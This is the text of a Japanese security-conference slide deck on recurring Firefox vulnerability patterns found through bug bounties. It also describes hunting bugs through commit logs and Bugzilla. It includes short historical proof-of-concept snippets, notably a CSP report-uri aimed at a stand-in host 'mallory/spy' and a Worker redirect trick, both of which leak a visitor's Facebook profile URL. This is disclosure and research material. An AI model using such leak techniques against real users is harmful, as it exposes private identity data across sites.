firefoxの倒し方 by 西村宗晃（にしむねあ）

Firefoxの倒し方CODE BLUE 2015

“Foxkeh" (C) 2006 Mozilla Japan

61,500ドル (約740万円)

Bug 1065909 Bug 1109276 Bug 1162018 Bug 1196740

Bug 1069762 Bug 1148328 Bug 1162411 Bug 1198078

Bug 1080987 Bug 1149094 Bug 1164397 Bug 1207556

Bug 1101158 Bug 1157216 Bug 1190038 Bug 1208520

Bug 1102204 Bug 1158715 Bug 1190139 Bug 1208956

Bug 1106713 Bug 1160069 Bug 1192595

私の1年間の実績

Firefoxの倒し方

本日のテーマ

• Firefoxには、共通する脆弱性のパターンがある

• 開発者にも周知されておらず、新しい機能が追加される度、同じような脆弱性が作り込まれている


Firefoxの倒し方

• パターンを覚えれば、効率的に脆弱性を発見できる

• CODE BLUEの参加費も報奨金で回収できる


本日のテーマ

仕様の実装漏れ


脆弱性のパターン 1/3

• IETFやW3Cなどの標準化団体が仕様を策定

仕様書は誰でもダウンロードできる

• 仕様書には、機能の実装要件が記載されている

ブラウザにその機能を実装することで生じるセキュリティリスクや

その対処方法も記載されている

ブラウザの機能とその仕様

• 仕様に書かれている要件がたまに実装されていない

コミット時のレビューやテストが足りていない

• 仕様書に沿ってテストを書けば脆弱性を発見できる

120万円くらいはこの方法で獲得

Firefoxにおける仕様の実装漏れ

Fetch APIにおける

リクエストヘッダ制限の実装漏れ

実例

Bug 1162411

Fetch APIとは

• HTTPによる非同期通信を行うことのできるAPI

ざっくり言えば、XMLHttpRequestを改良したもの

HTTPリクエスト

fetch('http://example.jp/')

HTTPレスポンス

http://example.jp/

Fetch APIの使用例

fetch( 'http://api.example.jp/path', {

method: 'POST',

headers: {

'Content-Type' : 'text/plain'

},

body: 'Hello World'

}).then(function(res) {

console.log(res.headers.get( 'Content-Type' ));

})

Fetch APIに課せられた仕様上の制限


method: 'POST',

headers: {


},

body: 'Hello World'



})

TRACEなどは指定禁止

HostやCookieなどは指定禁止

GETやHEADメソッドのときは指定禁止

Set-Cookieなどは指定禁止

Firefoxに存在した実装漏れ


method: 'POST',

headers: {


},

body: 'Hello World'



})

任意のリクエストヘッダを指定できた

HTTPリダイレクトの

実装不備



HTTPリダイレクトとは

same.tld other.tld

http://same.tld/

Location: http://other.tld/

http://other.tld/

ResponseHTTPリダイレクト

HTTPリダイレクトの落とし穴 (1/2)

same.tld other.tld

http://same.tld/

Location: http://other.tld/

http://other.tld/

ResponseHTTPリダイレクト

リクエストに指定されたオリジンと…

最終的に応答を返すオリジンは異なる場合がある

Service Workers (SW)における

キャッシュデータのオリジン誤り

実例

Bug 1164397

http://example.jp/

Service Workers (SW)とは

• ページのバックグラウンド処理を担うワーカー

ページで発生した通信を仲介し、キャッシュなどを制御

SWPage

Cache

Firefoxに存在したオリジン誤り

SWPage

(mallory)

Cache

mallory

facebook

mallory/resource mallory/resource

Redirection

facebookのレスポンスをmalloryのデータとしてキャッシュしてしまう

HTTPリダイレクトの落とし穴 (2/2)

• リダイレクト後のURLには機微な情報が含まれうる

リダイレクト先のサイトにログインしているユーザの名前など

• リダイレクト後のURLは他のオリジンから参照禁止

エラーメッセージなどにリダイレクト後のURLが含まれてはならない

(例) Facebook

https://www.facebook.com/profile.php

301 Moved Permanently

(例) Windows Azure

https://manage.windowsazure.com

302 Found

CVE-2014-1487 by Masato Kinugawa

window.onerror = function( e ) { alert( e ); }

new Worker('redirect?to=https://www.facebook.com/profile.php');

他のサイトをワーカースクリプトとして読み込む

window.onerror = function( e ) { alert( e ); }

new Worker('redirect?to=https://www.facebook.com/profile.php');

CVE-2014-1487 by Masato Kinugawa

閲覧者のFacebookプロフィールを特定可能

CSP違反レポートにおける

他のサイトのURL漏洩

実例

Bug 1069762 (CVE-2014-1591)

以下のページをユーザに開かせると

// HTTP Response Header

Content-Security-Policy-Report-Only "frame-src 'none';

report-uri http://mallory/spy;"

// Exploit HTML

<iframe src="https://www.facebook.com/profile.php">

以下のデータが攻撃者に送信される

// HTTP Response Header

Content-Security-Policy-Report-Only "frame-src 'none';

report-uri http://mallory/spy;"

// Exploit HTML

<iframe src="https://www.facebook.com/profile.php">

http://www.w3.org/TR/2012/CR-CSP-20121115/

CSPの仕様書にも書いてあるのに！

Network(Necko)との一貫性に

起因する問題



Firefoxのアーキテクチャ

Thanks to Makoto Kato (Mozilla Japan)

https://docs.google.com/presentation/d/17KvlHVH2JsioGuPKCuBDayjK6WSJoTLfzgpiMG1SKpY

ネットワーク通信モジュール

DOM操作および各APIの実装

セキュリティ検証の典型的な例

Page

DOM / Web APINetwork

(Necko)

通信要求

オリジンの検証サーバの検証

セキュリティ検証の典型的な例

Page


(Necko)

通信要求

オリジンの検証サーバの検証

これら2つの性質の違いにより脆弱性が発生する

日和見暗号(OE)による

SSLサーバ証明書検証のバイパス

実例

Bug 1148328 (CVE-2015-0799)

日和見暗号(OE)

• http: の通信内容を暗号化

国家による大規模な盗聴(Pervasive Surveillance)の対策。

http/2の拡張仕様として議論中

• サーバ認証せずにTLSで暗号化

無効な証明書によるTLSでも平文で通信するよりは安全。

https: で接続する際は、従来どおりサーバ認証する

証明書検証回避のシーケンス

twitter(偽)

http://mallory

http://twitterでOE開始を要求

mallory

証明書検証なしでTLS接続(OE)

Session Ticket発行

https://twitter Session Ticketを使ってTLS接続要求

接続確立(セッション再開)

脆弱性発生のメカニズム

Page


(Necko)

http:とhttps:は異なるオリジン

OEとhttps:はTLSの実装を共有

http://twitterと https://twitter のSession Ticket は分ける必要がある


脆弱性の見つけ方

脆弱性のパターンを継続的に試す

• 新しく搭載された機能で過去の脆弱性が再発

Firefoxは6週間ごとにメジャーバージョンアップ。

過去の経緯を知らないコミッターが類似の脆弱性を作り込む

• 過去の脆弱性と新しい機能に関する情報を収集

過去の脆弱性をパターン化し、新しく搭載された機能で試験する

情報収集するには

• セキュリティアドバイザリ (過去の脆弱性情報)

https://www.mozilla.org/en-US/security/known-vulnerabilities/firefox/

• Firefox 開発者向けリリースノート (新機能の情報)

https://developer.mozilla.org/en-US/Firefox/Releases

さらに情報収集するには

• Firefoxのコミットログ

http://hg.mozilla.org/mozilla-central/shortlog

• Bugzilla

https://bugzilla.mozilla.org/

コミットログを用いた脆弱性探し

アクセスできなければ(恐らく)脆弱性の修正

Bugzillaを用いた脆弱性探し

• Mozillaセキュリティチームの行動を追跡

脆弱性の情報はセキュリティチームが管理している

非公開フラグが外された！

報奨金を獲得したバグがある！


さいごに

Mozillaの脆弱性対応の特徴

• 対応が早い

深刻度が高ければ約1か月、低くても2~3か月で修正される

深刻な影響を及ぼす場合は緊急アップデートが配信される

• 透明性が高い

修正されるまでの過程をBugzillaで閲覧できる

深刻度を判断した根拠をきちんと説明してくれる

既知のバグの報告者には当該のバグのアクセス権が付与される

Thanks!Mozilla Security Team &

Mozilla Japan Guys


firefoxの倒し方 by 西村 宗晃 （にしむねあ）

Software

firefoxの倒し方 by 西村宗晃（にしむねあ）